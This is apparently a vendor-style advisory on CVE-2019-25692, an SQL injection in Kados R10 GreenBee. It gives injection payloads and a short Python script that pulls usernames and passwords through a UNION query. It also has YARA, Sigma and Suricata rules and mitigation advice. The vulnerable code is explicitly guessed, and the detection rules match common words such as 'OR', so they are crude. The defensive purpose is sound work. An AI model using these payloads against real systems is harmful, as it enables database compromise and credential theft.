CVE-2019-25692

Executive Summary

CVE-2019-25692 is an unpatched SQL injection vulnerability in Kados R10 GreenBee, a product by Kados. The flaw exists in the id_to_modify parameter, allowing unauthenticated attackers to inject arbitrary SQL commands. This can lead to full database compromise, including extraction of sensitive data, modification of records, or potential lateral movement within the network. No public exploit code or patch is currently available, making this a high-risk, zero-day-like scenario for any organization using the affected software.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a proprietary software component (Kados R10 GreenBee). No open-source package or dependency chain is affected.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the nature of the vulnerability (unauthenticated SQL injection), a realistic CVSS v3.1 score would be 9.8 (Critical) with the vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This reflects network-based exploitation, low complexity, no privileges required, no user interaction, and full impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability resides in the id_to_modify parameter, likely used in a web interface or API endpoint for modifying records. The application fails to sanitize or parameterize user input before constructing SQL queries. An attacker can inject SQL statements by sending crafted requests, such as:

POST /modify HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

id_to_modify=1' OR '1'='1' -- 

This would cause the database to return all records or allow further injection to extract data. The lack of prepared statements or input validation makes this a classic SQL injection (CWE-89). The EPSS score of 0.0% suggests low exploitation probability in the wild, but this may be due to limited deployment visibility rather than security.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

// Vulnerable PHP example
$id = $_POST['id_to_modify'];
$query = "SELECT * FROM records WHERE id = $id";
$result = mysqli_query($conn, $query);

A secure version would use parameterized queries:

// Patched PHP example
$stmt = $conn->prepare("SELECT * FROM records WHERE id = ?");
$stmt->bind_param("i", $_POST['id_to_modify']);
$stmt->execute();

Since no patch exists, organizations must implement virtual patching or WAF rules.

Exploitation & Lab Setup

Red Team

To simulate exploitation, set up a lab with Kados R10 GreenBee (if available) or a mock vulnerable application. Use the following Python script to test injection:

import requests

url = "http://target/modify"
payload = "1' UNION SELECT username, password FROM users -- "
data = {"id_to_modify": payload}
response = requests.post(url, data=data)
print(response.text)

This attempts to extract credentials. For blind injection, use time-based techniques:

import requests
import time

url = "http://target/modify"
payload = "1' AND SLEEP(5) -- "
data = {"id_to_modify": payload}
start = time.time()
response = requests.post(url, data=data)
elapsed = time.time() - start
if elapsed > 4:
    print("Vulnerable to time-based SQLi")

Blue Team

To detect exploitation attempts, monitor for abnormal SQL keywords in id_to_modify parameter values. Use the following Suricata rule (see Detection Engineering) and enable logging of all POST parameters. Implement a Web Application Firewall (WAF) with a rule to block requests containing ' OR, UNION, SLEEP, or similar patterns in the id_to_modify field.

Indicators of Compromise (IOCs)

• Network IOCs: HTTP POST requests to endpoints like /modify or /edit with id_to_modify parameter containing SQL keywords (UNION, SELECT, OR, AND, SLEEP, --).
• Log IOCs: Database error logs showing syntax errors near id_to_modify values, or unexpected query results.
• File IOCs: No specific file-based IOCs; focus on network and database logs.

Detection Engineering

YARA Rule

rule Detect_SQLi_id_to_modify {
    meta:
        description = "Detects SQL injection attempts targeting id_to_modify parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25692"
    strings:
        $s1 = "id_to_modify=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "SLEEP" nocase
        $s6 = "--" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt via id_to_modify Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the id_to_modify parameter in Kados R10 GreenBee
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'id_to_modify='
        cs-uri-query|contains|any:
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - 'SLEEP'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of these keywords in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25692 SQL Injection Attempt"; flow:to_server; content:"id_to_modify="; http_client_body; pcre:"/(UNION|SELECT|OR|SLEEP|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch exists, the following mitigations are critical:

1. Virtual Patching: Deploy a WAF rule to block SQL injection patterns in the id_to_modify parameter.
2. Input Validation: If source code is accessible, implement parameterized queries or stored procedures.
3. Network Segmentation: Isolate Kados R10 GreenBee from critical systems to limit blast radius.
4. Monitoring: Enable detailed logging of all POST requests and database queries. Alert on suspicious patterns.
5. Vendor Contact: Attempt to contact Kados for a patch or workaround. If unsupported, consider replacing the software.
6. Least Privilege: Ensure the database user used by the application has minimal permissions (e.g., no DROP or INSERT on sensitive tables).

Valters IT
DevSecOps & Cyber Threat Intelligence

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